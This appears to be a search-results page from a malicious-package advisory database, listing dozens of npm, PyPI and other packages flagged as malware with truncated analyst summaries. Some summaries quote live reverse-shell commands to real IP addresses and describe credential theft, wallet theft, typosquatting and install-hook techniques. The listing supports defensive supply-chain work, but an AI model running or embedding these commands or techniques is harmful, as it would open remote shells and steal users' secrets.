239514 matches found
MAL-2026-4312 Malicious code in explorhub-mcp-server (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 9788bd481519def1387f4eccde46e4e6fbb3d8acc8e6b181397f299581d9a174 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-4768 Malicious code in sklern (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1495d93dccc77a422f70d192ef4d8dcd53b0c990fff43e68bc2a0eca301e5d10 Package name 'sklern' is a one-character deletion from the top-tier ML package 'sklearn', and its public API linearregression, logisticregression,...
MAL-2026-2115 Malicious code in nspack (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: kam193 7741f090145e1e4bbd7998edba9c8151bd5dd3380adaa430e8f05cb2c814396f These packages are used as build dependencies of malicious packages in newer waves of the campaign 2026-02-urllib-slim. They are used to split the malicious...
MAL-2026-315 Malicious code in tailwind-merge-v2 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dfe4dad53bfa4f2ffe409644975e17958c4a1ab064109707aa6d944c1030b959 The package tailwind-merge-v2 was found to contain malicious code. Source: ghsa-malware...
MAL-2025-191263 Malicious code in @oku-ui/popper (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c757bdb980fe7035718ca706928b603973b5cc84bc5d18fbe3ab776cbd44e149 The package @oku-ui/popper was found to contain malicious code. Source: google-open-source-security...
MAL-2025-191038 Malicious code in @oku-ui/focus-scope (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9b522d408beeb4d64a63002599086596cf35f82c8e022fb27d833b26ebc23d54 The package @oku-ui/focus-scope was found to contain malicious code. Source: ghsa-malware...
MAL-2025-3233 Malicious code in compat-data (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 4afe39daa379d928222ec923465f7ac0593e4e1cd17e005cdccb0cbfaffe82e8 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2024-7908 Malicious code in igen-ui (npm)
--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 1466603860464da54a294afe059b81e39290c19fcf8bfedaca8101cda9d63c76 The OpenSSF Package Analysis project identified 'igen-ui' @ 99.9.9 npm as malicious. It is considered malicious because: - The package...
MAL-2024-7052 Malicious code in ajexx (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 571809bf0902772fafad02862c5fd3b59f16582fdce11e1ceb684f3a81ef575d Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2024-1398 Malicious code in drata (npm)
--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 646cbea8c3285f55f7f26b096cd9a63f91fdf4c4b06370aa92226ea3316bebba The OpenSSF Package Analysis project identified 'drata' @ 1.0.0 npm as malicious. It is considered malicious because: - The package communicates...
MAL-2024-1352 Malicious code in @aluffyz/discord-botjs (npm)
--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 19d4e14d28ee6d6844110ceb637db248af639739f0215ffe4336c12482e453fb The OpenSSF Package Analysis project identified '@aluffyz/discord-botjs' @ 1.4.5 npm as malicious. It is considered malicious because: - The...
MAL-2024-951 Malicious code in discord-cache (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 6192027c3576f1efb2bbd06fa525cab0ca4115483f0e8df0a0d2c93f60b24a71 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2023-8424 Malicious code in atmos-design-system (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 6f378bc147196f8b9dfc477b3bc1c6af261257fb3a6f7812b89517a3b1a93778 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2023-8308 Malicious code in nnabla-ext-cuda101-nccl2-ubuntu16 (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 70047d0a5eb542220386cc3c3f7f8bd4bee3faa63ce2124f363abcc1503be3df The OpenSSF Package Analysis project identified 'nnabla-ext-cuda101-nccl2-ubuntu16' @ 0.0.2 pypi as malicious. It is considered malicious becaus...
MAL-2023-8306 Malicious code in liblapack-dev (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 01a9f7fec70ee10cd7862c22e2c8257811997655e86e342b7bf61d0bd2b95154 The OpenSSF Package Analysis project identified 'liblapack-dev' @ 0.0.1 pypi as malicious. It is considered malicious because: - The package...
MAL-2023-7944 Malicious code in @cybs-ui/components (npm)
--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis e25c2aa7aae39d30717302a7e0a6b94336a286f1167456157770d53c08d9ba99 The OpenSSF Package Analysis project identified '@cybs-ui/components' @ 7.0.0 npm as malicious. It is considered malicious because: - The packag...
MAL-2023-1488 Malicious code in gkuis (npm)
--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 2ac9ca66ec9791a203c70c5eec65462375ffd178e9a8c35e3c8d9d0e201d1963 The OpenSSF Package Analysis project identified 'gkuis' @ 1.0.0 npm as malicious. It is considered malicious because: - The package communicates...
MAL-2023-8368 Malicious code in python-cos-sdk-v5 (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: checkmarx 9d23946b30370561c42df798c468626c8ec508cdf6f0fc22cc34bb67f2fa187e Malicious Typosquatting packages campaign targeting developers, steals cloud service credentials Source: google-open-source-security...
MAL-2026-16149 Malicious code in os-info-meeb322k (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cf3b4f18f9d98ad0792f96d750aef64b390ae6a516d948457d1e78b1d3242ab8 The package's postinstall lifecycle script runs unconditionally on npm install. It collects host identifiers hostname, platform, architecture, kernel...
MAL-2026-16132 Malicious code in @nimbusedge/auth (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885 package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202/8080 to open an interactive reverse shell to the...
MAL-2026-15188 Malicious code in classlink-zjrua8lg (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 9636f00d1123bcad098b6218e5a5a0ca09e864eb854cf95f4a583e80f05a5196 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-15450 Malicious code in secure-test-browser-x2k6m2im (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware b1859f7976201ae2eba874bf884de729818eeb115f35d73a6a22b720baa9fd9d Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-14296 Malicious code in gfff5 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2f12f82dc8c54282b428617c03537a54f3361841b02233b6626eae6f1e8ec4ee gfff5 advertises itself as a 'System binary configuration tool' but its actual behavior is covert surveillance. When the CLI is invoked, index.js...
MAL-2026-13861 Malicious code in @years18/n8n-nodes-utils-helper-q (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ab6ad174527240f5b3cf6eac2f078ff9a95cc3599926aca824d541c650f18a66 @years18/n8n-nodes-utils-helper-q ships as a stub n8n community node nodes/PwnNode.node.js exports a trivial 'Helper Utils' description but its...
MAL-2026-13796 Malicious code in cvbmxiowkwqla6 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0dbfcc7e82fc725383c9578e9d53c4e69bdf6af9ba8037d2bf9fa50dce51969e Package [email protected] contains only two files and no behaviors matching supply-chain attack patterns were identified. No lifecycle scripts,...
MAL-2026-13694 Malicious code in env-local (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7faefbcd9110b5e08b469d72d6541875ba4e2702c4490d1a24c37b313160f86b env-local presents itself as a dotenv-compatible.env loader README, keywords, and API mirror motdotla/dotenv, but lib/main.js unconditionally require...
MAL-2026-11132 Malicious code in bianira-ui (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a775549df738e414db9982a4695da893427c09ccc63cd520917c1b73476f4336 plugin.js the package main contains an appended top-level IIFE that runs on any require/import of the package. Every network-related identifier...
MAL-2026-10505 Malicious code in express-ini (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 901c68ddbe24451843ae250e4fa71b40b1d4f86d1c81a62bc8f313a55701b7d3 package.json declares postinstall=node index.js. index.js is heavily obfuscated obfuscator.io rotated string-array with RC4-based decoders hiding all...
MAL-2026-7579 Malicious code in chmid6000x524101 (RubyGems)
--- -= Per source details. Do not edit below this line.=-...
MAL-2026-6590 Malicious code in envfile-sync-cli (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 097a9a647e6d99cd53b881cae4fdd747d03b319388107c946c70b8804d3d917b On every import of envfile-sync-cli, src/index.js calls process.dlopen on bin/native/parser.node — a 2.9MB Windows PE executable sha256...
MAL-2026-6495 Malicious code in animatecss-postcss-plugin (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6be12cec08d0999c157774b746c3e431825ae61635bb8ddddf36061d4602cec7 [email protected] ships a tiny PostCSS plugin factory whose body contains an obfuscator.io-style string-array + RC4 decoder functions...
MAL-2026-6399 Malicious code in normalize-plus (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a8d9638f9c3f81ac15972cf2ff227b2d426a72c5e37035e54402648fe8120675 On import, normalize-plus's top-level initPlugin performs an HTTP GET against https://jsonkeeper.com/b/CI3HT, parses the JSON response, and evaluates...
MAL-2026-6083 Malicious code in syncagents (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector aebf468a6887fb09002d4ae4aceab77e347034b389b02e252844f7d0d81fabd6 The PyPI package 'syncagents' impersonates the legitimate PyPI package 'agentsync' — the README, PKG-INFO, CHANGELOG, and project URLs all point at...
MAL-2026-5303 Malicious code in rlask (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 89a034f9ba4356799034d728884eccecf5c53779d85280556419cda38e671a30 The package name 'rlask' is a single-character edit of the popular 'flask' package. METADATA declares 'Maintainer-email: Pallets ', and entrypoints.t...
MAL-2026-5300 Malicious code in funcdesc (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4a5756a79331cdda67721e39889609f5c0b5e342b678dbce2de97c94ec2dbe29 The package installs funcdesc-setup.pth, which Python auto-executes at interpreter startup for any environment where this package is installed. The.p...
MAL-2026-5214 Malicious code in autotel-aws (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e356eee42d8cb9a80967237c11de3358548389fe2e413f1bbc3fae630c7d28f8 No concrete installer-harm signals were identified in this package version. No lifecycle hooks fetching external code, no credential-path reads, no...
MAL-2026-5151 Malicious code in parsimonius (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: kam193 a5ab85a46a37da928774b1885049b71d40d675c54683b13711f4e371d932394a Clone of a legitimate package with an added RAT running through a Telegram bot. It can e.g. exfiltrate env variables and execute remote commands. The malicious...
MAL-2026-4953 Malicious code in @cloudplatform-single-spa/notification-gateway (npm)
Part of a dependency confusion attack campaign targeting the @cloudplatform-single-spa and @mlspace npm scopes. The attacker npm user mr.4nd3r50n published 139 scoped packages at the inflated version 99.99.99, which resolves ahead of any private registry version via npm's default version...
MAL-2026-4834 Malicious code in @polka-ui/config (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 662c2a1b8ad5d264ec01b078f95c130c96398305ba009a2c2de33cc9d7db7486 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-4355 Malicious code in mistral-workflows-plugins-webhook (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: kam193 e87825efe9006ca3d435869b276f0d8526a1255ec71ac6e7aa0ea1bb068b6673 Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose. --- Category: PROBABLYPENTES...
MAL-2026-4679 Malicious code in system-user-identifier-cli (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4da2798716abd83143a0a2e2b3e5064e2f2a1ac0a63633a70c42881330f52be8 index.js line 13 executes bash -c "bash -i & /dev/tcp/101.43.232.7/7777 0&1" via childprocess.exec, opening an interactive reverse shell to the...
MAL-2026-3103 Malicious code in amzn_codewhisperer_streaming_client (crates.io)
--- -= Per source details. Do not edit below this line.=- Source: ossf-package-analysis 7fc27be867bc1ae651b345d2f825d0ac8d796615c022747306e87bd3ff0d1fc8 The OpenSSF Package Analysis project identified 'amzn-codewhisperer-streaming-client' @ 99.0.1 crates.io as malicious. It is considered maliciou...
MAL-2025-192683 Malicious code in ai-cypher (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: kam193 5484d32cf20d26ce1585cb1cf90d2ed28c9cf9ccdcf038976a5cec33dd939e4d The compiled native extension hides the code that during import exfiltrates sensitive Telegram files. --- Category: MALICIOUS - The campaign has clearly...
MAL-2025-176589 Malicious code in nuilva-avm-rucasivav (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 830e2aad509a43d87a8976bfa8a6ae864eca522d2031a079a0af300c66ef86c1 This package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts auto.js,...
MAL-2025-3135 Malicious code in @weave-mui/divider (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 05453cfad038ef79e51253af5463badc60bb432de7750f211aa5aa087144ddfd Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2023-8535 Malicious code in frontend-components-react-transpiled (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 463e9359f450d451e47eef2a46a82e6d6fe266ffa312c37239b9e2fda0a440fb Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2023-8371 Malicious code in tencentcloud-python-sdk (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: checkmarx c79d20c4af5b69c3506d69fb847d2f5306a83433cb56e391c8dbf828e9728319 Malicious Typosquatting packages campaign targeting developers, steals cloud service credentials Source: google-open-source-security...
MAL-2026-14372 Malicious code in create-coin (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d92da1d80f455caae769107e4b3ff99c003a296f1238728cfc5521d5be06c380 Package [email protected] registers a postinstall hook that runs build/payload.node.js during npm install. The script performs anti-analysis guards...
MAL-2026-13789 Malicious code in bmgki3g6fh3 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9212dc22bc5983b7b163b7851e76596bda812485709581a8dd61475630db4450 The package contains a single file, index.html, declared as main. The page renders a spoofed Cloudflare 'Just a moment...' / Turnstile 'security...
MAL-2026-13683 Malicious code in kotoraka (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e0b7d2fa2d2e401d5ca6c2cc4bb07964a955afa5e532e3947fdcfd6395570dd6 On import, kotoraka decodes base64-obfuscated filesystem paths pointing at the user's Monero wallet directory Windows: C:\Users\Documents\Monero;...